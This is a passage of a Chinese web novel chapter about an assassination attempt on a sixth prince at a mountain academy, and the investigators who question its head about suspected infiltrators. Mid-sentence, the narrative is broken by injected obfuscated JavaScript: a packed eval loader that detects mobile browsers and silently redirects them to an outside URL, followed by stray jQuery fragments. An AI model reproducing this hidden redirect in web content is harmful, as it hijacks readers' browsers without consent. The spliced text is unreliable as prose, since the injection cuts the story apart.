就在这天,一个普通的下午,洛锦收到了丰都侯的最后一封密信。
烧书院。引蛇出洞。
很短促的两句话,却将丰都侯的疯狂展现得淋漓尽致。他从来不在乎书院里夫子和学生们的性命,他只是一如既往因为线索的错误而愤怒。以至于他再也无法忍受,做出火烧书院的决定。
丰都侯不知道轩辕麒湛的存在,仍旧以为自己一马当先于天音阁,可他却不愿意再忍耐下去,他无法接受自己找到的线索全是错误的,既然全错,那就毁掉。
这段时间轩辕麒湛安分守己就像是一个普通的学子,和周遭同窗打成一片。在洛锦和姜渊鹤二人看来唯一有一点不对的地方就是他常常若有似无地接近六皇子身边。
只是洛锦还没有决定好要不要为丰都侯做这大逆不道之事的时候,先行动的却是他人。
六皇子遇刺了。
就在启明山上,众人簇拥之下,在蔺培芳宣布下课后的一瞬间,从不远处的竹林里跳出来一个蒙面黑衣的刺客,直直地将一根匕首刺进了六皇子的身体里。
太医说若是这刀扎偏半分就会直接刺破六皇子的心脏。
皇城震怒,太恒私学也立刻反应过来封锁了启明山。羽林军在山脚下层层围住,保证没有一只苍蝇能活着飞出去。
所有的课程都暂停了,每个人都被迫关在自己的院子里。而那些不住在山上的学子们就只能委屈和认识的同窗们同住一间屋子。
罗拉雅将自己的院子让出来给几个武学部的人住,自己携家带蛇搬到了洛锦的房中。
御书房内。
符真乾笃将送上来的折子狠狠扔到地上,他自即位以来,已经很久没有这样怒形于色。
他的麟儿,上月离开皇城时还高高兴兴,眉飞色舞地跟自己说钦佩蔺夫子的才学,一定要好生学习。
可是如今,他生死未卜,躺在启明山的病床上。而那个刺了他一剑的杀手却在大庭广众下消失在在众人视野里。
“小皇叔,请务必帮朕把这贼子捉拿归案!”符真乾笃喝了一口太监递上来的养心茶,心事重重地开口。
“遵命,陛下。臣定当尽心竭力。”
邓主半跪在地上,忠诚起誓。
“去吧,朕乏了,”符真乾笃揉了揉酸涨的太阳穴,挥了挥手道:“你们也都下去吧。”
“是,陛下。”
太监宫女们跟随着邓主的身影退出御书房。邓主又叮嘱大太监去御膳房熬点儿安神惊奇的汤来备着,才匆匆离开了皇城。
“驾——”
邓主坐在马车里,往东郊启明山去。马车前头巨大的监星局纹章让路过的百姓都退避三舍。邓主翻看着启明山山门处的出去记录,竟看到了两个熟悉的名字。
“非正,把太恒私学这批心弟子的名录拿来。”邓主吩咐道。
“在这里,主子。”非正取出卷宗,将主子在意之人的名字找了出来。
果然是这两个小家伙。邓主叹了口气,这是又找了什么身份混入京城,希望六皇子遇刺一事与她们二人无关,否则……
“主子,这二人可有不对?”
非正自小跟着邓主,邓主皱一皱眉头他就知道主子想干什么,只是这回看着主子复杂的神色,他迟疑得有些发懵。
“没什么不对,非正,我交给你一个任务。等到了启明山,你秘密去找这二人,务必问清楚他们在做什么,如有必要,你……”
邓主交待完非正,又重新审视起这个复杂的案子。如今被关在启明山上的不仅有杂役们还有全部的夫子和学生们。他不仅要面对世家们的问责,更多的是陛下的震怒。
这事可真不好办啊。
邓主抵达山脚下的时候,远远就瞧见羽林军的包围圈外站着许多有名有姓的权贵,他们都紧张地望向山上,然后再看到监星局的马车出现时,一股脑地涌了上来。
邓主从不出现在人前,因此监星局明面上的话事人是他的同僚离歌笑。
离歌笑从最前头的马车上下来,一身藏蓝色劲装和白玉头冠让他看起来文质彬彬中又多了武将的气魄。
“各位大人,各位大人——”
离歌笑扬声,将杂乱的人群压下来。
面对着一个个忧心焦虑的目光,他拿出陛下钦赐的玉佩展示在众人眼前,一来是安抚民心,二来则是表明身份立场,阻止混乱继续上演。
“吾等监星卫承陛下口谕特来彻查此事,请诸位大人放心,我们会保证各位公子小姐的安全,但是在事情水落石出之前,还请各位大人不要将此事向外传。”
离歌笑人高马大,加之令牌在身更是横行无阻,即便是侯府王府这些也要退避三舍。
“也只好这样,烦请离大人查明真相还太恒私学太平。等事情有结果,烦请离大人请人来府上通报一声,我也好将我这小子接回家压压惊。”
博南侯率先表态道。
“那是自然,请侯爷放心,臣等自当尽心竭力为陛下分忧。”
离歌笑话落,看向其余人众,借着博南侯递来的台阶,众人也只得纷纷低头称是离开。
“请吧,大人。”
待人群散去后,离歌笑走到车队的最后,对着那个不起眼的马车道。
“离歌笑,你还是那么靠谱,老夫心甚慰。”
非正将卷帘拉起,邓主弯腰走出来,这里没有外人,他可以放松些。
“呃啊,你不要再用你这张不会老的脸说些老气横秋的话了,看着难受。”
离歌笑嫌弃地往旁边移动,看到非正手里的资料很自然地接过,“怎么样,方才一路上有没有研究出来什么?”
“什么也没有,去,把山上的人按照这个名单分批询问。”
邓主从那一大堆名册中抽出一张,吩咐离歌笑安排下去。
邓主站在山门前,看着三百多年前的裴圣人写下的私学学训,致知修业,守礼佑民。
八个大字镌刻在山门前的石碑上,笔锋凌厉。虽然此时春光盛大,阳光照耀其上,却仿佛比深宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152259|189364||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里最冷清的角落更孤寂。
太恒私学的山长裴玉蘅等在山门边上,在她治下竟然发生如此事,她不仅愧对于先人,更是无颜面对书院里的学子和夫子们。
可如今最重要的是找到刺杀六皇子之人,其他的都可以往后再说。
她刚上任山长一职时,那高堂上坐的还是另一位,这十几年来她呕心沥血,将太恒私学的影响力扩大空前,成为为朝堂源源不断输送有生力量的机器。
她对山上混入的小老鼠并非不知情,只是水至清则无鱼,很多时候睁一只眼闭一只眼,反而能够维持微妙的平衡。
“启禀离大人,臣有事禀告。”
可是,这些老鼠千不该万不该,不仅偷了油吃,还踢倒烛台引起大火。火势烧到她裴玉蘅身上,她觉得疼了,也就不想再息事宁人。
离歌笑大手一挥让手下们先行一步进山搜查,而后耐心听完了裴玉蘅的坦白。
“天音阁……我倒是听说过这个江湖势力,据说作恶多端啊。”
离歌笑皱眉,只是没想到皇城中竟然也被江湖势力渗透至此。那天音阁派人入私学意欲何为?难道这里有什么特殊的东西?
“潜入者姓甚名谁如是告诉我。”
“臣……臣恐怕他们报复书院,还请离大人庇护太恒私学。”
裴玉蘅跪下请求道。
“你放心,皇城之中还轮不到他们一界江湖人士放肆。”
离歌笑将人扶起。
“臣以为,潜入者为蔺氏兄弟中的一人。臣与他二人相识多年,也曾同在朝堂上为官。但是这两年他二人行动奇怪,性格也似有变化,有时候觉得他们像变了个人,可有时候又正常得很,着实让人费解。”
裴玉蘅回忆着这些年和他们相处的细节,继续补充道:“蔺携芳作为曾经的帝师,性格沉稳很少出错,可是这两年时不时就会犯些小错误,譬如晨起忘记上课,譬如前一日还说要校考学生,后一日就全然忘记此事。虽然无伤大雅,但确实让人感觉像是在某个时段变了一个人。每当我去问他时,他只打哈哈说没事。臣虽觉疑惑,但也选择尊重相信他。”
前日事后日忘确实值得深究,莫不是真的一觉醒来就换了个人?
“那另一位呢?”
离歌笑没有立刻做出判断,只是继续问询。
“至于蔺培芳大人,他比之他兄长更年轻孤高些,对待学生也更严厉。他倒是没有出现前后不一致的情况,只是我听巡逻的侍卫说,偶尔能够看见半夜的时候他屋子里的灯亮着,还能传来他自言自语的声音。这件事我原本并没有放在心上,只是恰巧有一回,我确实亲眼见过蔺大人在半夜独自离开院子不知道到哪里去。”
说起这件事裴玉蘅还有些心有余悸,毕竟那个晚上的氛围不可谓不诡异,她看着蔺培芳行走在山中的背影,像是一个迷路的鬼魂。
“我知道了,多谢裴山长如实相告。”
离歌笑将裴玉蘅请进山门中,她的嫌疑尚且没有解除,调查也都刚刚开始。